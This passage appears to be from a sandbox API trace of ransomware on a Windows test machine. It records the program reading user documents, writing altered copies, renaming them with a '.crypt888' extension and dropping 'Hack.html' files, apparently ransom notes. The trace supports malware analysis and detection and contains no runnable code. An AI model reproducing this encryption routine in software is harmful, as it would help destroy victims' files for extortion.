lpOverlapped=0x0) returned 1 [0081.754] CloseHandle (hObject=0x174) returned 1 [0081.833] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp", lpFilePart=0x0) returned 0x53 [0081.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0081.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\53kveez5rftn9a5prh.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.835] GetFileType (hFile=0x174) returned 0x1 [0081.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0081.835] GetFileType (hFile=0x174) returned 0x1 [0081.835] WriteFile (in: hFile=0x174, lpBuffer=0x284b208*, nNumberOfBytesToWrite=0xe9f0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x284b208*, lpNumberOfBytesWritten=0x39ece0*=0xe9f0, lpOverlapped=0x0) returned 1 [0081.837] CloseHandle (hObject=0x174) returned 1 [0081.840] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp", lpFilePart=0x0) returned 0x53 [0081.840] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp.crypt888", lpFilePart=0x0) returned 0x5c [0081.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0081.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\53kveez5rftn9a5prh.odp"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa418fd00, ftCreationTime.dwHighDateTime=0x1d46186, ftLastAccessTime.dwLowDateTime=0x588df840, ftLastAccessTime.dwHighDateTime=0x1d4594d, ftLastWriteTime.dwLowDateTime=0xc1fb5800, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xe9f0)) returned 1 [0081.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0081.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\53kveez5rftn9a5prh.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\53kveez5rftn9a5prh.odp.crypt888")) returned 1 [0081.842] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf", lpFilePart=0x0) returned 0x47 [0081.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0081.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\8lg1qy.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.842] GetFileType (hFile=0x174) returned 0x1 [0081.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0081.842] GetFileType (hFile=0x174) returned 0x1 [0081.842] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xaeca [0081.842] ReadFile (in: hFile=0x174, lpBuffer=0x285a0c8, nNumberOfBytesToRead=0xaeca, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x285a0c8*, lpNumberOfBytesRead=0x39ecf0*=0xaeca, lpOverlapped=0x0) returned 1 [0081.843] CloseHandle (hObject=0x174) returned 1 [0081.893] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf", lpFilePart=0x0) returned 0x47 [0081.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0081.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\8lg1qy.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.894] GetFileType (hFile=0x174) returned 0x1 [0081.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0081.894] GetFileType (hFile=0x174) returned 0x1 [0081.894] WriteFile (in: hFile=0x174, lpBuffer=0x28c7b14*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x28c7b14*, lpNumberOfBytesWritten=0x39ece0*=0xaed0, lpOverlapped=0x0) returned 1 [0081.896] CloseHandle (hObject=0x174) returned 1 [0081.901] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf", lpFilePart=0x0) returned 0x47 [0081.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf.crypt888", lpFilePart=0x0) returned 0x50 [0081.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0081.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\8lg1qy.pdf"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a22610, ftCreationTime.dwHighDateTime=0x1d45af8, ftLastAccessTime.dwLowDateTime=0x500d4380, ftLastAccessTime.dwHighDateTime=0x1d45996, ftLastWriteTime.dwLowDateTime=0xc204dd80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xaed0)) returned 1 [0081.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0081.902] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\8lg1qy.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\8LG1qY.pdf.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\8lg1qy.pdf.crypt888")) returned 1 [0081.903] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc", lpFilePart=0x0) returned 0x53 [0081.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0081.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\c2_lrhsmt28-8ru6p4.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.903] GetFileType (hFile=0x174) returned 0x1 [0081.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0081.903] GetFileType (hFile=0x174) returned 0x1 [0081.903] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x2a94 [0081.903] ReadFile (in: hFile=0x174, lpBuffer=0x28d2e6c, nNumberOfBytesToRead=0x2a94, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28d2e6c*, lpNumberOfBytesRead=0x39ecf0*=0x2a94, lpOverlapped=0x0) returned 1 [0081.904] CloseHandle (hObject=0x174) returned 1 [0081.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc", lpFilePart=0x0) returned 0x53 [0081.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0081.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\c2_lrhsmt28-8ru6p4.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.997] GetFileType (hFile=0x174) returned 0x1 [0081.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0081.997] GetFileType (hFile=0x174) returned 0x1 [0081.997] WriteFile (in: hFile=0x174, lpBuffer=0x2730050*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x2730050*, lpNumberOfBytesWritten=0x39ece0*=0x2aa0, lpOverlapped=0x0) returned 1 [0081.998] CloseHandle (hObject=0x174) returned 1 [0082.007] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc", lpFilePart=0x0) returned 0x53 [0082.007] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc.crypt888", lpFilePart=0x0) returned 0x5c [0082.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0082.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\c2_lrhsmt28-8ru6p4.doc"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c52c0, ftCreationTime.dwHighDateTime=0x1d45fa6, ftLastAccessTime.dwLowDateTime=0xe901b5f0, ftLastAccessTime.dwHighDateTime=0x1d45fc0, ftLastWriteTime.dwLowDateTime=0xc21325c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0)) returned 1 [0082.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0082.007] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\c2_lrhsmt28-8ru6p4.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\c2_lrhSmt28-8RU6P4.doc.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\c2_lrhsmt28-8ru6p4.doc.crypt888")) returned 1 [0082.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\Hack.html", lpFilePart=0x0) returned 0x46 [0082.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0082.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.012] GetFileType (hFile=0x174) returned 0x1 [0082.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0082.012] GetFileType (hFile=0x174) returned 0x1 [0082.012] WriteFile (in: hFile=0x174, lpBuffer=0x27346b8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27346b8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0082.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Hack.html", lpFilePart=0x0) returned 0x36 [0082.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.013] GetFileType (hFile=0x174) returned 0x1 [0082.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.014] GetFileType (hFile=0x174) returned 0x1 [0082.014] WriteFile (in: hFile=0x174, lpBuffer=0x2736e98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2736e98*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.015] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO", lpFilePart=0x0) returned 0x37 [0082.015] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\", lpFilePart=0x0) returned 0x38 [0082.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.015] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.015] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.015] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.016] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.016] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO", lpFilePart=0x0) returned 0x37 [0082.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\", lpFilePart=0x0) returned 0x38 [0082.017] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.017] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.017] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.017] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.018] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.018] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.018] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.018] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.018] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.018] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx", lpFilePart=0x0) returned 0x4b [0082.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\0udnhwn2oc-mem.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.019] GetFileType (hFile=0x174) returned 0x1 [0082.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.019] GetFileType (hFile=0x174) returned 0x1 [0082.019] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x3497 [0082.019] ReadFile (in: hFile=0x174, lpBuffer=0x273abfc, nNumberOfBytesToRead=0x3497, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x273abfc*, lpNumberOfBytesRead=0x39ed24*=0x3497, lpOverlapped=0x0) returned 1 [0082.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx", lpFilePart=0x0) returned 0x4b [0082.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\0udnhwn2oc-mem.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.047] GetFileType (hFile=0x174) returned 0x1 [0082.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.047] GetFileType (hFile=0x174) returned 0x1 [0082.047] WriteFile (in: hFile=0x174, lpBuffer=0x2798240*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2798240*, lpNumberOfBytesWritten=0x39ed14*=0x34a0, lpOverlapped=0x0) returned 1 [0082.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx", lpFilePart=0x0) returned 0x4b [0082.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx.crypt888", lpFilePart=0x0) returned 0x54 [0082.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\0udnhwn2oc-mem.docx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290e0130, ftCreationTime.dwHighDateTime=0x1d463ae, ftLastAccessTime.dwLowDateTime=0xcd1a840, ftLastAccessTime.dwHighDateTime=0x1d45941, ftLastWriteTime.dwLowDateTime=0xc21a49e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x34a0)) returned 1 [0082.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.049] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\0udnhwn2oc-mem.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\0UdNHWn2oc-mEm.docx.crypt888" 